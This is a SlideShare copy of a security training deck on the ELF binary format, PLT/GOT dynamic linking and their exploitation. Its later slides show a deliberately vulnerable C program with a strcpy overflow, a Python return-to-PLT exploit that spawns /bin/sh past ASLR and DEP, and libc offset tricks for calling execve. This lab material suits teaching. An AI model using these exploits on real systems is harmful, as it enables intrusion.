Se ha denunciado esta presentación.
Utilizamos tu perfil de LinkedIn y tus datos de actividad para personalizar los anuncios y mostrarte publicidad más relevante. Puedes cambiar tus preferencias de publicidad en cualquier momento.
ELF format 
Knowing your enemy 
Alex Moneger 
Security Engineer
ELF format overview 
 ELF is a specification (part of the ABI) to which: 
1. The compiler adheres to when building binari...
Overview 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
Overview 
1. At compile time, tells the linker how to connect pieces together: 
 Function x is in lib y 
 Function z is ...
 We will look mostly at compile and runtime behaviors 
 Explains partially how OS protections are set 
 Runtime functio...
Digging in 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
Elf overview 
 An ELF file has: 
 A header 
 A program header 
 A section header 
 Sections 
 More stuff which matte...
Linker vs Loader 
 Linking  Executing 
Elf Header 
Program Header (not used) 
Section 1 
Section 2 
… 
Section n-1 
Sect...
Elf header 
 ELF header contains: 
 A magic number 
 OS related stuff (32, 64 bits, ABI, …) 
 Type of ELF (executable,...
Elf header 
 Sample output: 
cisco@kali:~/src/seccon/ch6$ readelf -h /bin/false 
ELF Header: 
Magic: 7f 45 4c 46 01 01 01...
Section 
 A section is an arbitrary zone of memory containing stuff, with assigned 
flags and permissions 
 Interesting ...
Section table 
 A section header contains this information on the section: 
 A pointer to the section (both offset and a...
Section Example 
cisco@kali:~/src/seccon/ch6$ objdump -h /bin/false | egrep -A 1 "Name|.text|.data|.rodata|.bss|.plt|.gpt"...
Segments 
 A segment is an aggregation of loadable sections: 
 A segment defines: 
 Permissions applied in memory 
 St...
Segment header 
 Same thing as section headers, but for segments 
 Table metadata for segments 
 Holds: 
 A pointer to...
Segment example 
cisco@kali:~/src/seccon/ch6$ readelf -l /bin/false 
Elf file type is EXEC (Executable file) 
Entry point ...
What goes where? 
 Constant data => .rodata 
 Initialized data => .data 
 Code => .text 
© 2013-2014 Cisco and/or its a...
What goes where? 
cisco@kali:~/src/seccon/ch6$ pygmentize -g ../ch4/aslr.c 
#define _GNU_SOURCE /* for RTLD_NEXT */ 
#incl...
Proof 
 Is everything where it should be? 
cisco@kali:~/src/seccon/ch6$ objdump -S -j .rodata ../ch4/aslr | grep ABCD 
80...
Stripping section table 
1. Find where section table is 
2. Remove it 
3. Run the file 
4. Piss off reversers 
cisco@kali:...
Dynamic linking 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
Overview 
 Dynamic linking allows to resolve library functions at runtime 
 Useful feature to have with dynamic librarie...
How does it work? 
 The application code calls a stub function in the PLT, not the function 
itself 
 Ie: your code call...
PLT stub 
 Our code jumps at a fixed offset into the PLT 
 There’s some magic code there, let’s trace it: 
gdb$ x/3i 0x8...
What’s happening 
 PLT entry jumps to the GOT, then jumps back to itself (next instruction) 
 It pushes a value on the s...
Further calls 
 First call to a func  Next calls 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Co...
Summary 
 In short: 
 The PLT entry is used to call the function 
 Once resolved, the GOT contains the real address of ...
Attack time! 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
Facts 
 .text section is at known address 
 .plt is at fixed offset from .text => known address 
 .got => known address...
objdump 
 Objdump can give us all the relocation info 
 PLT: 
cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /...
Using PLT to our advantage 
 When you overwrite SEIP, you can overwrite with an interesting PLT 
address 
 Remember the ...
Vulnerable program (ASLR + DEP) 
 The usual, but with a piece of dead code 
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch...
I’m not dead 
 Find PLT entry and “/bin/sh” address 
cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel ch6 | grep ...
Exploit 
 Similar to ret2libc, except ASLR and DEP are on 
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.py 
#!/usr/bin/...
Further topics 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 35
Libc offsets 
 My function is not imported by the binary 
 Looking for constants again 
 Offsets in libc between functi...
Demonstration 
 I want to call execve 
 My binary imports strcpy => 0xb7ed8b70 
 Compute offset between strcpy and exec...
Game time 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 38
Practice 
 Get familiar with PLT/GOT. Pick 
a binary, follow the flow 
 Change the GOT address of a 
function, before it...
Próxima SlideShare
Cargando en…5
×

06 - ELF format, knowing your friend

1.695 visualizaciones

Publicado el

* Introduction to ELF:
* headers
* sections
* segments
* GOT, PLT

Publicado en: Ingeniería

06 - ELF format, knowing your friend

  1. 1. ELF format Knowing your enemy Alex Moneger Security Engineer
  2. 2. ELF format overview  ELF is a specification (part of the ABI) to which: 1. The compiler adheres to when building binaries 2. The kernel understands  It’s just a container for executable code  Used by most Unix operating systems  Tells the OS loader how to loukad the binary into memory © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
  3. 3. Overview © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
  4. 4. Overview 1. At compile time, tells the linker how to connect pieces together:  Function x is in lib y  Function z is in oject-file o 2. Before runtime, tells the loader where to put pieces in memory:  Loadable segment starts at address a.  Segment has RWE permissions 3. At runtime, provides information to the dynamic linker to resolve addresses:  Allows to find out address of function x when it’s called in the programs life => lazy binding © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
  5. 5.  We will look mostly at compile and runtime behaviors  Explains partially how OS protections are set  Runtime function resolving might be something interesting from an exploit view  Just explains how the OS works © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
  6. 6. Digging in © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
  7. 7. Elf overview  An ELF file has:  A header  A program header  A section header  Sections  More stuff which matters less (string table, debug symbols, …)  Sections are used by the linker (compile time)  Segments are used by the loader (runtime) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
  8. 8. Linker vs Loader  Linking  Executing Elf Header Program Header (not used) Section 1 Section 2 … Section n-1 Section n Section header table Elf Header Program Header Segment 1 … Section k Section header table (not used) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
  9. 9. Elf header  ELF header contains:  A magic number  OS related stuff (32, 64 bits, ABI, …)  Type of ELF (executable, library, …) Elf Header  An entry point for the program (where does the program start from?)  Pointer to, size and numbers of entries of:  Program header  Section header table  Index in the section table which contains the string table © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
  10. 10. Elf header  Sample output: cisco@kali:~/src/seccon/ch6$ readelf -h /bin/false ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048e44 Start of program headers: 52 (bytes into file) Start of section headers: 20908 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 9 Size of section headers: 40 (bytes) Number of section headers: 28 Section header string table index: 27 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
  11. 11. Section  A section is an arbitrary zone of memory containing stuff, with assigned flags and permissions  Interesting sections:  .text => contains the code of the executable  .rodata => contains read only data (constants, …)  .data => contains data  .got/.plt => jump table for the dynamic linker  Not used by the loader Section 1 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
  12. 12. Section table  A section header contains this information on the section:  A pointer to the section (both offset and address)  The size  The name  A bunch of flags  A type  Section table is at the end of the file  Reading it allows to find all sections in the file Section header table © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
  13. 13. Section Example cisco@kali:~/src/seccon/ch6$ objdump -h /bin/false | egrep -A 1 "Name|.text|.data|.rodata|.bss|.plt|.gpt" Idx Name Size VMA LMA File off Algn 0 .interp 00000013 08048154 08048154 00000154 2**0 -- 10 .rel.plt 00000138 08048974 08048974 00000974 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA -- 12 .plt 00000280 08048ae0 08048ae0 00000ae0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .text 0000261c 08048d60 08048d60 00000d60 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE -- 15 .rodata 000009a0 0804b3a0 0804b3a0 000033a0 2**5 CONTENTS, ALLOC, LOAD, READONLY, DATA -- 23 .got.plt 000000a8 0804dff4 0804dff4 00004ff4 2**2 CONTENTS, ALLOC, LOAD, DATA 24 .data 00000020 0804e09c 0804e09c 0000509c 2**2 CONTENTS, ALLOC, LOAD, DATA 25 .bss 00000180 0804e0c0 0804e0c0 000050bc 2**5 ALLOC © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
  14. 14. Segments  A segment is an aggregation of loadable sections:  A segment defines:  Permissions applied in memory  Start address  Size  Contains one or more sections Segment 1  Sections with identical permissions are mapped to one segment  Segments are page aligned  Only the loader cares about segments © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
  15. 15. Segment header  Same thing as section headers, but for segments  Table metadata for segments  Holds:  A pointer to the section (both offset and address)  The size  The name  A bunch of flags  A type Program Header © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
  16. 16. Segment example cisco@kali:~/src/seccon/ch6$ readelf -l /bin/false Elf file type is EXEC (Executable file) Entry point 0x8048e44 There are 9 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x04658 0x04658 R E 0x1000 LOAD 0x004ef0 0x0804def0 0x0804def0 0x001cc 0x00350 RW 0x1000 DYNAMIC 0x004efc 0x0804defc 0x0804defc 0x000f0 0x000f0 RW 0x4 NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x003d40 0x0804bd40 0x0804bd40 0x001c4 0x001c4 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 GNU_RELRO 0x004ef0 0x0804def0 0x0804def0 0x00110 0x00110 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .jcr .dynamic .got © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
  17. 17. What goes where?  Constant data => .rodata  Initialized data => .data  Code => .text © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
  18. 18. What goes where? cisco@kali:~/src/seccon/ch6$ pygmentize -g ../ch4/aslr.c #define _GNU_SOURCE /* for RTLD_NEXT */ #include <dlfcn.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char *rodata = "ABCD"; // .rodata char data[4+1] = "ABCD"; // .data int main(int argc, char **argv) { printf("Stack base address: %pn", argv); char *heap = malloc(sizeof(int)); printf("Heap base address: %pn", heap); void (*memcpy_addr)(int) = dlsym(RTLD_NEXT, "memcpy"); printf("Memcpy libc address: %pn", memcpy_addr); unsigned int text; __asm__("call dummy;" "dummy: pop %%eax;" "mov %%eax, %0;":"=r"(text)); printf("Code section address: %pn", text); printf("Data section address: %pn", data); printf("RO data section address: %pn", rodata); free(heap); } © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
  19. 19. Proof  Is everything where it should be? cisco@kali:~/src/seccon/ch6$ objdump -S -j .rodata ../ch4/aslr | grep ABCD 804866c: 01 00 02 00 41 42 43 44 00 53 74 61 63 6b 20 62 ....ABCD.Stack b cisco@kali:~/src/seccon/ch6$ objdump -S -j .data ../ch4/aslr | grep ABCD 80498d0: 41 42 43 44 00 00 00 00 ABCD.... © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
  20. 20. Stripping section table 1. Find where section table is 2. Remove it 3. Run the file 4. Piss off reversers cisco@kali:~/src/seccon/ch6$ ./echo abcd abcd cisco@kali:~/src/seccon/ch6$ readelf -h echo | grep "section headers" Start of section headers: 25016 (bytes into file) Size of section headers: 40 (bytes) Number of section headers: 28 cisco@kali:~/src/seccon/ch6$ truncate -s 25016 echo cisco@kali:~/src/seccon/ch6$ ./echo abcd abcd cisco@kali:~/src/seccon/ch6$ ls -l echo -rwxr-xr-x 1 dahtah dahtah 25016 Apr 22 17:19 echo © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
  21. 21. Dynamic linking © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
  22. 22. Overview  Dynamic linking allows to resolve library functions at runtime  Useful feature to have with dynamic libraries  Relies on 2 tables:  Procedure Linkage Table (PLT)  Global Offset Table (GOT)  Requires the dynamic linker:  ld-linux.so © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 22
  23. 23. How does it work?  The application code calls a stub function in the PLT, not the function itself  Ie: your code calls printf@plt, not directly the libc printf  This translates to the application code doing a near relative call to the plt stub: cisco@kali:~/src/seccon/ch6$ objdump -d -j .text -M intel /bin/echo | grep '@plt' | head -n 1 8048e19: e8 72 fe ff ff call 8048c90 <getenv@plt> cisco@kali:~/src/seccon/ch6$ python -c 'import exutil as x; print x.cmp2(0xfffffe72 + 0x5)' -393 cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /bin/echo | grep 'getenv@plt>:' 08048c90 <getenv@plt>: cisco@kali:~/src/seccon/ch6$ python -c "print 0x08048c90 - 0x08048e19" -393 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 23
  24. 24. PLT stub  Our code jumps at a fixed offset into the PLT  There’s some magic code there, let’s trace it: gdb$ x/3i 0x80482f0 0x80482f0 <puts@plt>: jmp DWORD PTR ds:0x8049654 0x80482f6 <puts@plt+6>: push 0x0 0x80482fb <puts@plt+11>: jmp 0x80482e0 gdb$ x/w 0x8049654 0x8049654 <puts@got.plt>: 0x080482f6 gdb$ x/10i 0x80482e0 0x80482e0: push DWORD PTR ds:0x804964c 0x80482e6: jmp DWORD PTR ds:0x8049650 0x80482ec: add BYTE PTR [eax],al 0x80482ee: add BYTE PTR [eax],al 0x80482f0 <puts@plt>: jmp DWORD PTR ds:0x8049654 0x80482f6 <puts@plt+6>: push 0x0 0x80482fb <puts@plt+11>: jmp 0x80482e0 gdb$ x/x 0x804964c 0x804964c <_GLOBAL_OFFSET_TABLE_+4>: 0xb7fff908 gdb$ x/x 0x8049650 0x8049650 <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff59b0 gdb$ info files 0xb7fe2820 - 0xb7ff905f is .text in /lib/ld-linux.so.2 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 24
  25. 25. What’s happening  PLT entry jumps to the GOT, then jumps back to itself (next instruction)  It pushes a value on the stack  It jumps back to PLT[0]  PLT[0] jumps into the dynamic linker  Dynamic linker resolves the libc address  Linker updates the GOT entry with the resolved address, using the offset pushed in the PLT  Linker jumps to libc address © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 25
  26. 26. Further calls  First call to a func  Next calls © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 26
  27. 27. Summary  In short:  The PLT entry is used to call the function  Once resolved, the GOT contains the real address of the function  The dynamic linker is in charge of resolving the address at runtime  The dynamic linker updates the GOT entry after the first call © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 27
  28. 28. Attack time! © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
  29. 29. Facts  .text section is at known address  .plt is at fixed offset from .text => known address  .got => known address  “GOT contains the real address of the function”  So we know the addresses of functions exported by the binary © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 29
  30. 30. objdump  Objdump can give us all the relocation info  PLT: cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel /bin/false  GOT: cisco@kali:~/src/seccon/ch6$ objdump -R /bin/false | grep JUMP 0804e000 R_386_JUMP_SLOT strcmp 0804e004 R_386_JUMP_SLOT fflush 0804e008 R_386_JUMP_SLOT _exit 0804e00c R_386_JUMP_SLOT free  These are reliable addresses © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 30
  31. 31. Using PLT to our advantage  When you overwrite SEIP, you can overwrite with an interesting PLT address  Remember the pop;pop;ret gadget from ret2libc?  You can use ppr constructs to chain PLT calls © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 31
  32. 32. Vulnerable program (ASLR + DEP)  The usual, but with a piece of dead code cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.c #include <stdlib.h> #include <stdio.h> #include <string.h> int does_nothing() { system("/bin/sh"); } int vuln(const char *stuff) { char buf[0x64] = {0}; strcpy(buf, stuff); return 1; } int main(int argc, char **argv) { vuln(argv[1]); return 0; } © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 32
  33. 33. I’m not dead  Find PLT entry and “/bin/sh” address cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel ch6 | grep system 08048330 <system@plt>: cisco@kali:~/src/seccon/ch6$ strings -a -t d ch6 | grep "/sh" 1360 /bin/sh cisco@kali:~/src/seccon/ch6$ readelf -l ch6 | grep -i LOAD LOAD 0x000000 0x08048000 0x08048000 0x0062c 0x0062c R E 0x1000 LOAD 0x00062c 0x0804962c 0x0804962c 0x00124 0x00128 RW 0x1000 cisco@kali:~/src/seccon/ch6$ python -c 'print hex(0x08048000 + 1360)' 0x8048550 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 33
  34. 34. Exploit  Similar to ret2libc, except ASLR and DEP are on cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os import struct as s target = "ch6" overflow_len = 112 sys_plt_addr = 0x08048330 sh_addr = 0x8048550 target_path = os.path.abspath(target) sys_plt = s.pack("<I", sys_plt_addr) sh = s.pack("<I", sh_addr) ex = "%s%s%s%s" % ('A'*overflow_len, sys_plt, "x43"*4, sh) os.execve(target_path, (target_path, ex), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 34
  35. 35. Further topics © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 35
  36. 36. Libc offsets  My function is not imported by the binary  Looking for constants again  Offsets in libc between functions are constant 1. Pick a function in PLT 2. Compute offset with the one you want 3. Find a way to call it (overwrite GOT the call PLT, call reg, …)  More on this later… © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 36
  37. 37. Demonstration  I want to call execve  My binary imports strcpy => 0xb7ed8b70  Compute offset between strcpy and execve gdb$ p/x &strcpy $1 = 0xb7ed8b70 gdb$ p/x &execve $2 = 0xb7f00680 gdb$ p/x &execve - &strcpy $3 = 0x27b10  Find a way to get strcpy GOT address and call strcpy + offset © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 37
  38. 38. Game time © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 38
  39. 39. Practice  Get familiar with PLT/GOT. Pick a binary, follow the flow  Change the GOT address of a function, before it is called. What happens?  Strip a binary and remove the section table. Try to debug it  Exploit ch6 with ASLR and DEP enabled  Try using strcpy to copy something to a known location © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 39

×